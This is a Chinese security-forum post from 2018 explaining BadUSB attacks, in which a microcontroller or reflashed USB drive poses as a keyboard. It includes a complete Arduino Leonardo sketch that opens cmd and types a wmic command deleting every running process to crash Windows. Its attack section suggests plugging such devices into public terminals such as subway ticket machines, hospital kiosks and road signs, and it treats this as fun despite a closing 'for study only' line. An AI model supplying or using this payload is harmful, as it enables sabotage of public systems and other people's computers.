用户
搜索
  • TA的每日心情

    2020-9-30 16:37
  • 签到天数: 38 天

    连续签到: 1 天

    [LV.5]常住居民I

    版主

    W3bSafeTeam

    Rank: 7Rank: 7Rank: 7

    16

    主题

    86

    帖子

    504

    魔法币
    收听
    0
    粉丝
    8
    注册时间
    2017-6-30

    i春秋认证秦楚燕魏齐赵春秋文阁春秋游侠积极活跃奖i春秋签约作者核心白帽

    发表于 2018-1-18 00:44:44 310233
    本帖最后由 ID_Angel 于 2018-1-18 00:56 编辑

    0x01 简介
    HID (HumanInterface Device) 人体交互设备。通常是指人类操作计算机而使用的设备。例如:键盘 鼠标等等。也是使用USB 接口进行直接攻击的一种,利用的USB协议的漏洞。当然。人体交互设备是操作计算机必不可少的东西。这也是我们研究的对象。硬件安全,我们提倡使用低成本的硬件与高回报的代价。当然,Badusb也是一个低成本,伪装能力与可靠性强的一个硬件。制作非常简单。而且攻击效率非常高。

    0x02 原理
    其实Badusb原理非常简单,就是通过单片机或U盘主控MCU模拟USB HID设备(键盘)。当电脑或者其他终端机被插入BadUSB过后。电脑会自动识别成已有HID设备插入电脑。同时。单片机根据预写程序来依次执行键盘按键内容。即达成攻击目的。
    先说U盘:
    U盘的结构是一个USB主控加一块到两块的存储颗粒。从原理来看。USB主控就是一个带原生usb接口的单片机。
    图片 1.jpg
    那么问题来了。它既然是单片机。可不可以进行烧写程序呢?
    当然可以。在U盘出厂的时候。通常这些主控厂商会提供一些主控芯片量产工具。如果说一个u盘只有主控并没有量产过的话。那么,电脑将可以识别出USB接口插入了一个可移动的存储设备。但是并没有任何磁盘。就像你的读卡器没插入内存卡一样。(笔者第一次DIY U盘的时候。就不知道u盘量产。把颗粒从正面换到背面 从背面换到正面。电脑就是不识别有多大。最后才知道需要先量产)当然。一般量产工具是可以直接对主控进行固件烧写的。如果说固件被我们稍加一丢丢改动。这个u盘即可以变成badusb。所以完全可以说,USB HID攻击的成本就是一个u盘的钱。
    在说Arduino 开发板:
    Arduino 开发板,也集成了一块原生USB的单片机。但是主控MCU性能绝对要比U盘主控性能要强很多。同时支持USB协议、可以模拟HID设备。体积很小,跟u盘差不多(还比部分u盘便宜点)。方便携带,非常适合拿他做badusb。
    图片 1.jpg

    图片 1.jpg
    图片 1.jpg
    = = 请无视侧面的排针,我为了做其他实验焊上的。某宝上买是不带这个针的
    0x03 攻击思路
           走在大街上,是不是有很多不顺眼的东西。比如说 地铁票查询机、自动挂号机、医院内的自助查询机、室外的自动借书机、还有马路上的电子路牌。如果说我没记错的话。这些设备外部都有个usb接口,用于方便给调试人员使用的。这就是攻击的一个注入点(= = 每个地区的东西都不一样就不说了)。如果说我们把BADUSB设备插到这些机器上。这些机器会怎么样?当然会“怀孕”了。所以说。这个东西。插谁谁怀孕。是个非常好玩的东西。下图是被插的一台终端机。
    图片 1.jpg
    0x04实现
    笔者暂用Arduino Leonardo开发板做演示。某宝不到50快钱。首先Windows的用户需要安装一个arduino Leonardo的一个串口驱动。笔者尚未使用过Windows的开发环境。
    首先打开Arduino IDE的GUI 先选择板子与通信串口
    QQ20180118-004331@2x.jpg

    QQ20180118-004348@2x.jpg
    然后在导入keyboard库 在void setup() 里面写程序。在此。我就写一个插上自动运行cmd且直接蓝屏的代码
    [C++] 纯文本查看 复制代码
    #include<Keyboard.h>
    // W3bsafe Angel
    void setup() {
      // put your setup code here,to run once:
      Keyboard.begin();
      delay(1000);
      Keyboard.press(KEY_LEFT_GUI);
      delay(500);
      Keyboard.press('r');
      delay(500);
    Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('r');
      Keyboard.press(KEY_CAPS_LOCK);
    Keyboard.release(KEY_CAPS_LOCK);
      delay(500);
    Keyboard.println("CMD");
      delay(500);
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(500);
      Keyboard.println("cmd /cfor /f %I in (\'wmic process get Name\')do (wmic process whereName=\"%I\" delete)");
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
    }
    void loop() {
      // put your main code here, torun repeatedly:
    }

    然后点击上传。就制作完成了
    最后 我们打开一下虚拟机测试一下。。。
    完美成功。这样就可以使目标蓝屏了。
    Untitled.gif

    本文章仅供学习,请勿进行违法行为
    W3bSafe Team 信息安全从未止步 官网:http://www.w3bsafe.cn
    本人业务微信:A2gel-
    支持一下~
    使用道具 举报 回复
    好看不火系列
    使用道具 举报 回复
    发表于 2020-10-17 03:02:41
    这个有针对安卓的吗
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册